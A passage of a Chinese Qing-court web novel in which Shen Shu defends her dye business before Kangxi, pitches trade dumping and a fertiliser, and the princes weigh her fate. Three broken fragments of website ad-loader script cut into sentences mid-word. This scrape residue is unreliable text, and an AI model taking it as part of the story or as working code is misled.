男人间的事情,哪里要祸及妻妾子女? 如他们满人,即便是杀死对手,对于对手的妻妾,很多时候都是收归己有。 更何况十四阿哥还是亲兄弟,就这么杀了他的女人,实在是过分了! 这也是其他阿哥们心中所想。 太子却是冷笑一声,“沈氏算是哪门子的女人?不过是一连玉牒都没上的外室,其与妓子何异?” 康熙没有理会胤礽,他当然不可能直接下令诛杀沈姝。 看看十四阿哥这模样,为此女,嘴比庭杖都硬! 若是就此杀了她,岂不是会让十四阿哥这个儿子心生怨愤? 同时他也对太子的言辞很是不满,简直是又蠢又毒! 康熙随之看向三阿哥这个儿子,“胤祉,你以为当如何?” 三阿哥觉得此事与自己无关,又不知道该说什么好。因为太子的提议实在是有些过分,他不愿意担这个恶名。 要是直接反对,也不妥当。 所以他干脆说道:“此事全凭皇阿玛圣断。” 接着康熙转向四阿哥,“胤禛,你以为呢?” 终于问到了自己,四阿哥斟酌的说道:“皇阿玛,此事既是因那沈氏而起,不如喊她过来问话之后再做决断。 毕竟御史们都在弹劾,而十四弟又在喊冤,儿臣以为还是调查清楚比较妥当。” 他深知沈姝的能言善辩,只希望这次她也能如此! 除此之外,一时间之想不到更好的办法。 只有等她来了之后,才能视情况而随机应变。 康熙自然是希望十四阿哥能认识到自己的错误,而不是一味的不服管教。 对于四阿哥的提议,他觉得还算是可行。 剩下的已经不用再问了,八阿哥他们跟十四阿哥关系好,自然是向着十四阿哥。 至于其他臣子们的意见,那不重要,这事算是家事。 所以康熙直接下令,“着人速去宣沈氏过来问话。” 倒要看看这沈氏到底是什么模样,竟惹的十四阿哥如此维护? 33.第 33 章 看到宫里的来人,沈姝整个人都有点儿懵圈,这着实是始料未及! 但她知道肯定是出事了,而且可能与十四阿哥有关。 前来的太监还有御前侍卫的口风都很紧,他们什么都没有透露,但态度绝对算不上和善。 沈姝什么都没有主动打听,但已经意识到这绝对不是什么好事。 一路上她都在想猜测到底是什么事情,思来想去都觉得应该是与做生意的事情有关。 除此之外,她以为自己跟其他人没有什么矛盾。 但这事还能直接捅到宫里? 进宫而已,上辈子游玩时参观过紫禁城,沈姝对此倒是没有什么畏惧之情。 或者说,她骨子里对封建王权都没有什么敬畏之情。 所以虽然搞不清楚情况,但并不惊慌。 如此的表现很是淡定,完全不似正常人的反应,就连来宣旨的太监都觉得沈姝周身气度非同寻常。 若是寻常百姓遭遇这场面,还不得惊慌失措、两股战战? 沈姝垂首跟着太监及御前侍卫进了宫,及至乾清宫前看见了被杖责四十的十四阿哥正趴在长条凳上。 此时已经行刑完毕,十四阿哥的蟒袍已经被血渍浸染。 只因蟒袍为石青色,所以不显血色,只露出斑斑点点的污渍状。 康熙正在气头上,杖责之后也没有吩咐太医,所以十四阿哥仍在外面被晾着。 十四阿哥在殿外,并不知道康熙已经宣了沈姝问话。 此时突然看见她,立刻从行刑的长凳上站起身来,满脸都是惊讶,“阿姝,你、你怎么来了?” 这话基本上算是废话,必定是有圣旨,说完他也意识到了。 于是连忙说道:“有人弹劾我,是因为你铺子的事情,不过你不要担心……” 沈姝终于知道了缘由,原来如此! 十四阿哥这是被她连累了,沈姝心里很是过意不去,“十四爷,您的伤怎么样……” 宣旨的太监当然不可能任由这两人在外面互叙衷肠,直接朝沈姝呵斥道:“沈氏,皇上还等着问话,你莫要抗旨!” 沈姝知道此时不是计较十四阿哥伤势的时候,里面才是她即将面临的险境。 连十四阿哥这个皇上的亲儿子都被揍了,何况是她这个微不足道的外人? “十四爷您不要担心。” 她朝十四阿哥说了一句后,便直接走向乾清宫。 十四阿哥见状也想跟上去,他不可能任由沈姝一个女人独自面对皇上以及那些御史! 然而刚想追过去就被行刑的御前侍卫给拦住了,“十四爷,求您别为难奴才们。” “滚开!” 十四阿哥反手想要推开侍卫,但侍卫们也不是吃素的。 他们宁可挨上几拳,也不可能任由十四阿哥无旨擅闯乾清宫,因为那是要杀头的! “皇阿玛,让儿臣进去!” 十四阿哥见状在外面不断的高声大喊。 沈姝见状回头看了一眼,她知道十四阿哥是在担心自己。 “沈氏,莫要耽搁。” 太监见状,厉声催促着。 沈姝无法只得继续进殿,她倒要看看这些人是怎么弹劾的? “宣沈氏进殿。” 随着通传声响起,沈姝迈步走进乾清宫。 “民女沈氏叩见皇上。” 沈姝进殿行礼垂首跪在地上,静候问话。 外面,十四阿哥仍在高声大喊,要求进殿。 康熙高坐在雕龙髹金大椅上,看向地上跪着的女子。 一身的赤青色布衣,无论是头饰还是衣着都谈不上华丽,可以说是相当的朴素。 这就是他那混账儿子看上的女人? 眼下看来,似乎不是什么奢靡之人。 “沈氏,你可知罪?” 面对康熙的问罪,沈姝自然不可能直接认罪,垂首回道:“皇上乃圣人,教化万民当以圣人之道。 而民女尚不知何罪之有,还请皇上释明。” “好好好!” 听听这话,简直是跟十四阿哥一般模样,是想要一个心服口服? 康熙简直气笑了,倒要看看她怎么辩驳。 “李德全,那些弹劾之言,拿给她看!” 没想到这女子一上殿居然胆敢如此? 无论是阿哥们还是诸位大臣,都有些讶然。 这熟悉的语气,看起来并无惊慌失措,四阿哥稍稍定心。 在他的印象中,沈姝不是那种莽撞没有心机之人。她如此这般,应该是想要知道事情的始末。 但同时四阿哥又担心沈姝会像顶撞自己一样去顶撞皇上,那可是皇上…… 李德全亦是心惊于沈姝的态度,十四阿哥是阿哥,顶撞皇上还被打了板子。 这女子,又是凭什么? 从地上捡起一份疏奏,趁着走近递过去的时候,李德全看清了沈姝的容貌。 当即楞了一下,这女子竟生的如此貌美! 怪不得十四阿哥在外面急成这样…… 沈姝双手接过疏奏,一目十行的看完之后,心里很快有了成算。 看样子这些同行们根本就不想和平共处,而是想方设法的想要她的命! 这些言辞完全就是狗屁不通,可关键是已经上达天听。 既然十四阿哥已经挨了罚,就说明康熙很是在乎这些弹劾。 所以问题的关键在于康熙的态度! 合上疏奏之后,沈姝开口说道:“皇上可否容许民女自辩一二?” 康熙冷笑一声,“若是不容你自辩,怕不是在你心里朕就不配为圣人!” 沈姝知道这话是在不满她刚才的话,看来已经是惹得这位皇帝不悦了。 她刚想开口说些什么,就听康熙又说了一句,“既是如此,朕倒要听听你如何狡辩!” 还没开口就已经成了“狡辩”,沈姝觉得自己这罪在康熙的主观上已经被定过了。 想要逆转,那就只能考虑喊口号拍马屁了,希望能有用。 “首先,民女并非十四阿哥的外室。 十四阿哥于民女有救命之恩,民女对其只有感激之情。 其次,十四阿哥也从未纵容或者默许民女仗势欺人。 经商一事,乃民女自己的主意,用的本钱乃是之前皇上的赏赐。 十四阿哥并未出资入股,自然与他无关。 民女擅长使用新式方法制作染料,因染料制取本钱低廉,故而染出的布料自然就售价低廉。 试问天下间,哪个百姓愿意花钱购买更高价的布料? 而这些弹劾的商贾,弹劾民女是因为他们不设法随之降低售价,还想要保持从百姓身上获取更高利润的现状。 民女每尺棉布的售价仅仅只是比市面价钱低了两文而已,若真是民女对他们赶尽杀绝,就绝不会只低两文钱。 可以这么说,以民女所制的染料染布,勿要说是低两文,就算是低上三四文皆有利可图! 然而民女没有如此做,并且还让人传出话说想要大家一起合作,可以售卖染料给他们。原本民女想着,若是能一同合作必将惠及百姓。 衣食住行乃民生所必需,布价远低于前朝,会有更多的百姓有新衣可穿。 百姓们有新衣可穿,安于物阜民丰,昭显国之欣欣向荣的盛世之况! 不仅如此,大清国的商贾们还可凭此低价布料倾销至周边各国。 异国之民,亦要穿衣,亦喜低价。 如此一来,大清国的商贾们便可从异国赚取回来更多的真金白银,此可变相削弱他国财力。 而皇上可令商贾们在大清国售卖的同等布料的价钱较之他国更低,此可称之为身为大清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 国的百姓所能享受到的特别优惠。 届时大清国的百姓必将无不身为大清国的子民而倍感自豪,也必将感恩于皇上! 而异国之民则将对此羡慕不已,倾慕于大清国之强盛! 然而不曾想这些商贾不思进取,沉迷于内斗,得不到民女的制取之法便行污蔑之事。 民女所述,句句属实,还请皇上明鉴。” 这一番长篇大论,着实是出乎所有人的意料。 包括康熙。 康熙不是不讲道理的昏君,否则也不可能给沈姝申辩的机会。 当然给这个机会只是想她心服口服,没想到自己反而被说的有些意动。 这么说来,她不仅无错反而有功? 见沈姝说完之后,皇上居然没有呵斥,胤礽感到不妙,即刻率先斥责:“沈氏你休得满口胡言,大清之盛世哪里需要你所谓的染料?难不成没有这些,皇阿玛治下就称不上是盛世?” 太子一开口,御史们也接着上阵。 “皇上,沈氏此番狡辩只为脱罪。 其自称愿与商贾合作,但却手握染料不愿分享,如此一来便是搜刮天下财富于一身!” “皇上,沈氏言语中有大不敬,诋毁盛世之况,按律当诛!” “皇上……” 眼见御史们叽叽喳喳的嗡嗡叫,康熙心烦不已,外面十四阿哥依然在叫喊。 喊的他心烦! “都住口!” 康熙呵斥了一声,大殿里的御史们很快安静如鸡。 “去将那混账东西喊过来!” 李德全得令亲自去请十四阿哥。 康熙看着沈姝说道:“沈氏,抬起头来。” 方才那番话,听起来让人心向往之。 不可否认,有一句话打动了他。 那就是天下百姓的认同与感激! 身为满人,夺得汉人的天下。 汉人多为不满,认为爱新觉罗氏当不得这天下之主。 身为帝王,想要的就是天下臣服,心甘情愿的那种臣服。 这女子所言,确实有些道理。 沈姝抬起头来之后,康熙这才看清了她的容貌。 看着快步走过来的十四阿哥,康熙简直是想再揍他一顿。 蠢货,还不如个女子! 那沈氏一开口就极力的撇清关系来维护他,而他就只会不服、不服! 这蠢货儿子唯一值得称赞的是眼光还不错,相中的女子还算是才貌双全。 “你在外面叫喊什么? 当朕是吃人的猛兽?” 十四阿哥还不知道殿内的事情,不过眼见沈姝似乎无恙,他松了口气,跪下来请罪。 “皇阿玛恕罪,儿臣只是觉得这些弹劾纯粹是无稽之谈……” 康熙懒得听十四阿哥说话,没好气的斥道:“行了,滚一边站着去!” 四阿哥见状,心知沈姝已过了这一关。 她一向是伶牙俐齿、才思敏捷,而皇上又是惜才之人。 十四阿哥站在一侧,旁边的十三阿哥看了他一眼,为他这种拼着挨板子也要维护自己女人的行为心生赞许。 与此同时,十三阿哥也因此高看沈姝几眼。因为她面对龙颜大怒,依然勇于为十四阿哥尽力开脱。 那些开脱之词,恨不得把责任都揽到自己身上,而且还给皇上也扣了一手。 比如那句做生意所用乃为皇上的赏赐,可谓是大胆至极! 关键是她还真能说,十三阿哥觉得给沈姝纸与笔,她能直接写出一篇策论来。 就连八阿哥、九阿哥、十阿哥也都觉得这次的弹劾算是过去了。 然而沈姝却对太子以及御史的那些话心生警惕,很明显,太子想弄死她,而她必须要有所防备! 十四阿哥这个靠山不是很稳妥,沈姝看向高台之上的帝王…… 34.第 34 章 应如何处置弹劾一事,康熙暂时还拿不定主意。 他对沈姝的话比较有兴趣,想趁机了解一番身为汉人的她,对于某些事情的看法。 于是问道:“沈氏,依你之见,天下百姓真正想要的是什么?当真只是区区布料便宜的那几文钱?” 这并不是普通的问题,回答不好可是会出事的! 十四阿哥怕沈姝会趁机提及噶礼一事,因为她总是对报仇念念不忘。 当即就站了出来,想要出声阻拦,“皇阿玛……” 只是他刚一站出来就被康熙斥责了一通,“闭嘴!朕问你了?” 沈姝看向康熙,这位胡子有些花白的中老年人,绝对算不上和蔼,因为他面带怒容,眼神凌厉。 只几眼没有多看,她便垂首直接说道:“民女惶恐,不敢枉议。” “无妨。” 康熙看向沈姝,“朕赦你无罪,有话尽可说。” 什么有话尽可说? 沈姝才不信这鬼话,要真是逮着帝王的不足之处当众开怼,一定会被拖出去砍了。 被康熙杀了又不算完成任务,她当然没有这么傻! 但这个问题是一个展露自我价值的机会,沈姝思索片刻之后才开了口。 “民女乃一介草民,只知道有衣穿、有饭吃、有房住、有病可医便是心之所愿! 然历朝历代,从不缺衣不蔽体、食不果腹之民。而区区布料便宜的那几文钱,对于寻常百姓而言,极其重要。 民女的棉布,一尺较市价便宜两文钱,开张的前一个月,所有布料皆是当日被百姓抢购一空。 百姓之所以迫不及待的抢购,并非是因为手中闲钱多,而是遇到便宜的布料想要趁机省下一笔钱。 一尺能省两文,二十尺做一身新衣则能省下四十文钱。这省下来的四十文钱,百姓便可多买些其他生活所需之物。 想必京城百姓,正因能购的如此布料而心生庆幸。天下百姓想要的,不皆是如此吗? 民女以为,能使得百姓有衣穿、有饭吃、有房住、有所医之君主,必是百姓心中的圣主明君、千古一帝!” 康熙听罢这番话,微微坐直了身体。 无论是汉人亦或是满人都一样,得民心者得天下! 他亦是如此认为,更是这么做的! 所以每遇地方上有什么洪灾、旱灾等不仅会派人前去赈灾,还要下旨赦免当地的赋税。 可即便如此,也不可能做得到沈姝所述。 当然布料的价钱如她所言,确实算是于百姓有裨益。 康熙叹了口气,“沈氏,你心中圣主明君的标准可不低呐!” 沈姝觉得康熙还算是个能讲点儿道理的人,而且他应该是很在乎自身的成就感。 对于帝王来说,成就感估计就是名声及功绩等。所以才会问及百姓的问题,毕竟帝王功绩的评判标准之一就是治下百姓的生存状态。 沈姝见状开始适当的恭维起来,“民女觉得皇上您已经很圣明了,否则又怎会愿意倾听一介草民之言?” “你,一介草民?” 康熙简直想笑,这次不是气的,而是觉得有趣,这样的草民他还真没见过几个! “朕观你亦是读过书的,既然如此,你所谓的那些标准应如何做到?” 顿了顿又道:“起来回话吧!” 关于如何做到,沈姝自然是有一些见解,不仅如此还想趁机表现一番。 虽然不知道太子为何跟她过不去,但能入得皇上的眼,应该是可以反制太子。 储君只是备胎,更何况胤礽这备胎在历史上也没能成功上位。 但沈姝不知道太子什么时候会被废,所以还是得先准备一手。 她没有依言起身,而是再次确认道:“那若是民女所说有什么不妥之处,皇上您会生气吗?” 这是真有话要说啊! 康熙饶有兴趣的再次承诺,“朕不是说过,赦你无罪,难道你还不信?” 沈姝闻言看了一眼那些御史,“民女自然是信皇上的,因为皇上圣明。 可民女是怕那些大人们会因此而弹劾民女……” 康熙非得想要听听沈姝到底想要说什么,于是直接说道:“谁若是因此而弹劾,朕便罢了他的官,如此你觉得可安心?” 沈姝见状没有再顾左右而言他,“民女信皇上。” 康熙再次说道:“起来说。” 沈姝闻言这才站起身,缓缓道来。 “民女所说的那些,其实就是国与民富裕起来才能做到的事情。 至于如何才能富裕,或许可以由内外两方面来做到。 自内而言,增加产出,物阜则民丰。 自外而言,增加收入,可称之为贸易战争。 这两方面可以说是相辅相成,缺一不可。 物阜依赖于技术的进步,比如唐之前的农具为直辕犁,之后为曲辕犁。 而曲辕犁则更便于耕种,一直流传至今。 民女不惭,再次提起染料一事。 之前的染料,造价较高,其必将为新式染料所替代。 这种染料就是一种技术的进步,正如民女之前所说,商贾可凭此低价倾销布料来收拢异国之财。 异国之财若是长期外流,必将至国贫,国贫则易生乱,此乃贸易战争的一种方式。 而财富流入国内,皇上自可调配用于富民强国。 民女善于研究这些,除了染料,现正打算研制一种农耕所需之肥料。 若是能制成,必将使得农田增产三成左右。民以食为天,粮食增产之后可组合染料来做贸易之战。 如,可低价倾销部分富余的粮食至异国,同时以较高的价格收购异国之棉麻生丝等。 因我大清国染料成本较低,即便是坯布成本略高,染制之后亦能低价或平价内销或外销。 如此一来,异国之民为求利将私自扩大棉麻等的种植。此消彼长之下,粮食的种植必然大减。 而此后是否继续低价售卖粮食,就由不得异国做主,可以此来掌控异国之口粮。 故民女以为技术进步之后,可为民谋利之举众多。而民富国强,国强民安。 皇上,这些就是民女的琢磨,您若是觉得系无稽之谈,请恕民女枉议之罪!” 沈姝说完之后,心里有些忐忑。 贸易战争是一张充满侵略性的王牌,只是未必会被重农抑商的封建社会所接受。 所以她不得不同时打出来尿素这张牌,合成尿素可以试一下。 能增产的肥料想必对于任何不昏庸的封建帝王来说,都应该更具有诱惑力。 如果这也不行,那她暂时还真想不到其他更好的办法了! 而康熙听完沈姝的话,沉思片刻之后才开口问道:“你方才所说可以制作出能使粮食增产三成左右的肥料?” 果然,康熙还是更关心这个,沈姝不禁有些失望。 枉她废了那么多口舌不停的讲贸易战争,结果全都是对牛弹琴,白瞎了! 不过她并没有表现出来,而是做出了肯定的回答:“回皇上,民女可以。 只是需要时间,而且需要皇上您的支持与帮助。” 合成尿素的材料和设备都需要准备,这些当然需要有人帮忙。 既然皇上有兴趣,那他当然得出钱出力! “皇阿玛,此女妖言惑众! 凭她一句话就能增产三成,怎么可能?” 胤礽是怕康熙信了沈姝,才会如此跳出来指责。因为这女人实在是舌灿如莲,她的话诱惑性太大! 没有理会胤礽,康熙看着沈姝说道:“你之前说愿意信朕,那么朕也愿意信你。你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 需要什么支持与帮助,皆可说与朕知道。” 为了增产三成,他可以试,也能够等! 康熙知道西洋就有很多神奇的技法,沈姝既然能制作出染料,未必不能制作出其他。 这就是她的护身符,沈姝直接打了保票,“民女多谢皇上信任,必不辜负您的期望。” 康熙没有再多说什么,沈姝的事情还没完,但他一时之间没有妥善之法,只得搁置不论。 “李德全,宣太医为胤祯医治。 张廷玉留下。退朝。” 言罢康熙起身离开,随着太监一声抑扬顿挫的“退朝”声,众人皆应声跪送皇上离朝。 皇上终于走了,沈姝这才松了一口气,起身走向十四阿哥。 “十四爷,您还好吗?” 受了四十杖,还折腾了这么久,说实话不太好。长这么大,十四阿哥挨过打,但从没挨过这么重的。 但他不愿意在沈姝面前示弱,笑着说道:“我皮糙肉厚的,无妨!” 沈姝见状看着殿内的太监催促道:“皇上不是说要宣太医,太医呢?” 见沈姝关心自己,十四阿哥心里甜丝丝的,但毕竟是大庭广众之下,其他朝臣和阿哥们还未全部离开,他不能表现的过于轻浮肆意。 只得故作姿态的说道:“莫要催促。” 李德全见状连忙上前陪着笑说道:“已经着人去请太医了,十四爷您不妨移步至偏殿稍等片刻。” 十四阿哥是皇上比较宠爱的儿子,至于沈姝…… 方才他已经见识过了,这女子不简单,已经入了皇上的眼,也是不能怠慢的主! 所以对于沈姝毫不客气的催促,李德全一点儿都不生气。 “哼!” 对面的胤礽见状,冷哼一声,寒着脸一甩袖子离开了。 其他的大臣们则是在瞅了几眼沈姝后,也陆续离开了。 今日之事,不仅是让人大跌眼镜,更是为人所耻笑! 堂堂都察院,兴师动众的出动如此之多的御史联袂弹劾,结果却被一小女子“啪啪啪”的把脸都打肿了! 这还不够丢人? 八阿哥、九阿哥、十阿哥他们则是走过来伸手扶着十四阿哥去往偏殿,沈姝也跟了过去。 看着沈姝的背影,四阿哥心下黯然…… 是因为十四阿哥的救命之恩,所以她才会对他如此的维护与关切吗? 她方才在殿上侃侃而谈的模样,风华绝代、盖世无双,所以就连皇上也颇为欣赏。 一想到皇上对沈姝还有十四阿哥的态度,四阿哥的心就开始乱了起来。 他在想,皇上会不会因此给沈姝赐籍,并且赐婚…… 一想到这种可能性,他的心就像是被狠狠地敲了一记闷棍,只能孤零零的躲在暗处偷偷的疼。 然后他转而又想,不、不,不可能,一定是他想多了! 今日之事过于出乎意料,他必须要回去好好想想…… “四哥、四哥?” 眼见四阿哥神情呆滞,似乎是在走神,十三阿哥不禁伸手拉了他一下。 “我们也走吧。” 四阿哥回神之后垂下眼帘,抬脚走出了乾清宫。 一旁的十三阿哥也不在意四阿哥的态度,知道他有时候是这样的莫名其妙。 十三阿哥则是边走边感慨今日之事,“真没想到沈姝不过是开了家铺子,却能惹出来如此大事来! 要这么说,御史有句话说的对,天下间仅她一人有那种染料,那可真是将汇聚天下财富于一身! 还有她说的那种什么肥料,惹的皇阿玛心动不已,若真是能增产三成,皇阿玛必定龙颜大悦! 你说她真的能做到吗?” 十三哥说个不停,四阿哥头一次觉得他聒噪的很! 与此同时,太医终于赶到…… 35.第 35 章 十四阿哥趴在内室的榻上,褪去了衣裤,露出被庭杖打伤的部位。 八阿哥他们在一旁看着,十阿哥看着十四阿哥已经红肿糜烂的臀部不禁倒吸一口凉气,“皇阿玛也忒狠心了!” 之前十四阿哥一直不吭声,九阿哥还以为行刑的侍卫下手不重呢,结果这一看,可不算轻。 看了一眼咬着牙的十四阿哥,九阿哥笑道:“哎,你这到底是疼还是不疼啊?” 十四阿哥没好气的哼了一声,“要不九哥你试试看疼不疼?” “我可不想试!” 九阿哥摇摇头,“也就是你,敢如此顶撞皇阿玛!” 接着他看了一眼正在外面等候的沈姝,促狭道:“你为她受此大罪,要不要我把人叫过来对你关心体贴一番?” “不要!” 十四阿哥一听差点儿弹起来,“九哥你别乱来!” 他这一动弹,上药的太医连忙劝道:“十四爷,微臣正在上药,请您勿要动弹!” 八阿哥则是拍了一下九阿哥,笑道:“老九,你就别逗他了,他还怕这副模样被看见有失男子的威仪体面呢!” 外面,李德全正陪着沈姝说话。 “沈姑娘莫要担心,行刑侍卫们下手都有分寸,不会伤的过重。” “嗯。” 沈姝点点头,眉宇间露出一丝疲色。 没有想到会连累十四阿哥挨打,她真的以为只是做个生意而已! 只不过是染料的技术革新,结果却不是坐到了谈判桌上,而是跪在了金銮殿上。 连十四阿哥这个皇子都挨了板子,要不是她反应还算是够快,真是可能会没命! 这些商贾,真是敬酒不吃吃罚酒。 玩阴的是吧,给她等着,来而不往非礼也! 李德全见状没有再多说什么,只是静静的站在一旁,得等太医出来之后他才能回去复命。 两盏茶的时间之后,太医从里面出来,看到李德全还没等他开口问,便直接说道:“李公公,十四爷的伤都是皮肉伤,不过伤得有些重了点儿,得修养个十天半月方能下床。” “哎哎,张太医您慢走,奴才这就去禀告皇上。” 李德全心道看来这次确实是打的狠了点儿,说不定皇上听了还会觉得心疼。 沈姝进去的时候十四阿哥刚拉上裤子,正趴在榻上还没有起来,见她进来连忙站起身来。 “阿姝,今日你没被吓到吧?” 瞧这话问的,八阿哥他们齐齐都想翻白眼。 这女人还会被吓到? 她吓到别人还差不多! 嗅到了十四阿哥身上的血腥味和药膏的味道,沈姝面带愧疚,“对不起十四爷,都是民女连累了您……” “无妨!” 十四阿哥拉了拉沈姝的手,“我们之间谈何连累?” “咳咳……” 八阿哥故意咳了两声,打断了十四阿哥。 这两人是不是忘了这是宫里,不是家里! 他不得不直接说道:“十四弟,咱们该回去了!” 今日朝堂之事,回去之后还需细细商量一番,此事可非同寻常。 八阿哥觉得下朝前,皇上令张廷玉留下,说不定就是在商量此事。 毕竟今日朝堂之上也就只有弹劾一事,并无他大事。 不得不说,八阿哥猜对了。 此时南书房中,康熙确实正在跟张廷玉商量沈姝的事情。 沈姝说的那许多,康熙都听了,但无法立刻做出回应。 因为她的事情还有其他牵扯。 面对张廷玉这个臣子,康熙先是随口问了他对沈姝的看法。 “你以为沈氏此人如何?” 张廷玉当然知道自己被喊过来就是要来商议沈姝之事,目前他只能看得出来皇上对沈姝有赞赏之意。 其他的,暂时还揣摩不透。 他略一沉思便道:“微臣以为此女胆大、机敏、略通谋略,但莽撞的很。” 之所以把胆大放在前面,是真觉得沈姝的胆子不是一般的大! 面对帝王之怒,勿要说是寻常百姓,就是当朝官吏,都未必能够保持如此镇定。 她倒好,手不颤腿不抖,还理直气壮的很。仿佛面对的不是帝王,而是田埂边的农家老伯。 这可真是应了那句话,初生牛犊不怕虎。 “可惜啊……” 康熙闻言叹了口气。 张廷玉知道可惜的后面是什么,可惜是女子而非男子。 若是男子,此事就好解决多了。 然而这中间还夹着一个十四阿哥,想必皇上正是为此而头疼。 接着康熙直接说道:“你办事一向谨慎,又同沈氏一样都是汉人,她所言的那种肥料,朕想要你负责对接。” “微臣领旨。” 看来皇上很看重这个肥料的事情,张廷玉还以为会先说染料的事情。 按理说染料应该是眼下最紧急的事情,否则那些商贾们也不至于要如此弹劾。 可是康熙的下一句也不是关于染料的,他问了这个问题,“依你之见,以为沈氏所言的商道于大清国而言,是否有用?” 不得不说,沈姝的描述是有令人遐想之处,但张廷玉觉得此事牵一发而动全身,未必有说的那么简单容易。 “回皇上,微臣以为沈氏乃重商之人,其所畅想是否可行仍待考量。 然自古以来,历朝历代皆重农抑商,为的就是维护稳定,而商贾之流却是最为不稳定。” 其实康熙也是这么认为的,稳中有进才是正道。 商贾一事,他并不怎么看重。 但沈姝既然能折腾,又说的头头是道,纵容她小试一番也不是不可。 但究竟怎么个试法,康熙还没有想清楚,这事不急。 现在需要解决的确实是染料的事情,这可不是小事。 正如御史所说,手握此种染料便是握住了布料商贾的命门,也将集聚不可估量的财富。 但这些财富将会是沈姝个人所有,此为百姓之财。即便是身为帝王,也不能无缘无故的就直接掠夺。 这要是传出去,那叫什么话? 更麻烦的是,十四阿哥对沈姝显然是用情颇深。 说来说去,就是沈姝的身份是个问题! 作为女子,她的价值实在是太大了,大到能轻而易举的影响到皇子们的势力。 其他女子,即便是娘家势力大,那也仅仅只是娘家而已。 可她是本身就具有势力,而夫妻本为一体,这才是麻烦所在。 若是如十四阿哥所愿,那么这个儿子将一跃而成为巨富,其他阿哥们怕是无论如何都赶不上! 更何况还有后续肥料的事情…… 康熙绝对不愿意打破儿子们之间平衡的现状,所以沈姝这个女人,让他很是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头疼,头疼应该如何安置才妥当? 沉吟良久之后,康熙才给了张廷玉一个暗示,“你与她接触时,可以探一下她对染料之事将如何处理? 此事的重要性,想必你应该也明白。” 在揣摩圣意上,张廷玉自有心得。 他很敏锐的猜到了皇上想要说而不能说出口的话,直接给出了保证,“微臣明白,定会悉心劝慰沈氏。” 虽然两个人都没有说明,但都知道彼此在说什么,康熙很是满意的点点头,“跪安吧。” “微臣告退。” 离宫之后,张廷玉才叹了口气。 说实话这事好不好办他还真不知道,但再不好办也得办啊! 在去拜访沈姝之前,张廷玉先是派人把她查了个底朝天。 知己知彼,百战不殆的道理他很懂…… 沈姝不知道自己已经被惦记上了,跟着一起回到十四阿哥府后,她的心情有些复杂。 自从搬出来后直到现在,中间她都没有再回来过这里。 看着已经扛着肚子孕相明显的十四福晋,沈姝看了一眼十四阿哥,觉得自己跟过来很是尴尬。 “爷,您这是怎么了呀?伤的重不重,可让太医看过了?” 看着被抬回来的十四阿哥,十四福晋心疼的都掉了眼泪。 十四阿哥见状说道:“好了,这不是没事,别哭了!” 十四福晋抹了抹眼泪,“妾身是担心您,这好好的怎么会受伤?” 十四阿哥根本不想回答这个问题,若是说因为沈姝,福晋听了又要生气,还不如不说。 没办法,十四阿哥只得把十四福晋先支使出去,“我与八哥他们有事要谈,你先出去吧。” 十四福晋听话的点点头,临走之前看了一眼沈姝,呵斥道:“沈氏,你还留在这里做甚!” 十四阿哥见状没等沈姝应声便立刻朝十四福晋厉色道:“福晋,难道你还要做我的主不成?” 沈姝不喜欢,也不愿意看到这些,主动提起了告辞。 “十四爷您好好静养,民女不打扰了。” “阿姝……” 感觉到沈姝生气了,十四阿哥伸手想去拉住她。 而沈姝却摇摇头,后退一步,“十四爷,女子孕期多有不易,您应该多关心关心福晋。” 一旁的十四福晋听了这话不屑的撇撇嘴,“谁要你假惺惺的?” “闭嘴!” 十四阿哥很生气,他就不明白了,为什么福晋总是跟沈姝过不去? 沈姝不得不再次表明态度,“十四爷,民女不希望自己成为您与福晋不睦的原因。 今日之事民女也累了,想早些回去休息。” “……好,你回去早些休息。” 十四阿哥有些心烦,只得放沈姝离开,然后瞪了十四福晋一眼。 从屋里出来后,沈姝看见了院子里的八阿哥等人,“八爷、九爷、十爷,民女有事先行一步。” “嗯。” 八阿哥点点头,脸色有些复杂,九阿哥和十阿哥两个人也一样。 刚才屋里的争吵,他们可是都听见了,也知道沈姝为什么要走。 原本这是十四阿哥的家事,可现在他们却不得不先跟十四阿哥提个醒,以后可不能再这样了。 沈姝走后,十四福晋也离开了。 八阿哥他们才进了十四阿哥的书房,一起商量沈姝的事情。 36.第 36 章 书房里,十四阿哥趴在卧榻上,八阿哥他们分坐在椅子上。 “十四弟,你跟沈小姐的事情打算怎么办?” 没有先说朝堂之事,八阿哥问了这个,现在这已经是个至关重要的问题。 十四阿哥觉得这简直就是明知故问,“我的心思难道八哥你还不知道?” 八阿哥却是说道:“我是知道,可也是今天才知道,你这后院容易起火!” “……” 知道八阿哥指的是什么,十四阿哥一时语塞。 点到为止,八阿哥见状说起了正事。 “这是你的家事,我不应该多管,现在咱们来说今日之事。 之前我只是知道沈小姐开了店铺卖布料,不曾想居然会发生这样的事情……” 其实他有点儿怨十四阿哥没有把事情提前说出来,否则也不至于如此被动。 这都闹到皇上跟前了,可不是被动多了! 八阿哥话音刚落,九阿哥和十阿哥也说道:“是啊十四弟,要是你提前说了,咱们搭把手也不至于被如此弹劾!” 十四阿哥也没想法会发生这样的事情,要不是看了弹劾的疏奏,他甚至都发现不了这其中的厉害之处! 他苦笑一声,“阿姝之前是跟我提过,说她卖的布会便宜,还说怕被人欺负…… 可我真没想到居然还能这样,这谁能想得到啊?” 这倒也是,如果提前知道了,还能挨四十杖? 八阿哥叹了口气,“现在被御史这么一弹劾,大家都知道了此事。沈小姐怀揣聚宝盆,我看太子不会善罢甘休。 为今之计,你得尽快把人领进门,否则她一孤女,结果怕是怀璧有罪 。” “可这得皇阿玛赐婚啊!” 十四阿哥也想,可皇上不赐婚,沈姝又不愿意,他也很为难。 九阿哥忍不住问道:“那她是什么意思?” 十四阿哥没有隐瞒的说道:“她一直以报仇为借口不愿意……” 居然连人都还没有搞定,九阿哥无语,“我的意思是钱的事情,她是什么打算?” “九哥,就算是阿姝跟我在一起,我也不可能问她要钱。 之前她提过要给,我拒绝了。” 十四阿哥说这些话的时候,语气中流露出些许不满,他喜欢沈姝并不是因为她能赚钱! 八阿哥见状微微皱眉,十四阿哥有时候过于耿直,而且任性。 就像现在,大家在讨论钱的问题,他在顾及所谓的面子! “十四弟,那你说现在要怎么办? 说句不好听的,若是太子有那种想法,你怎么解决?” 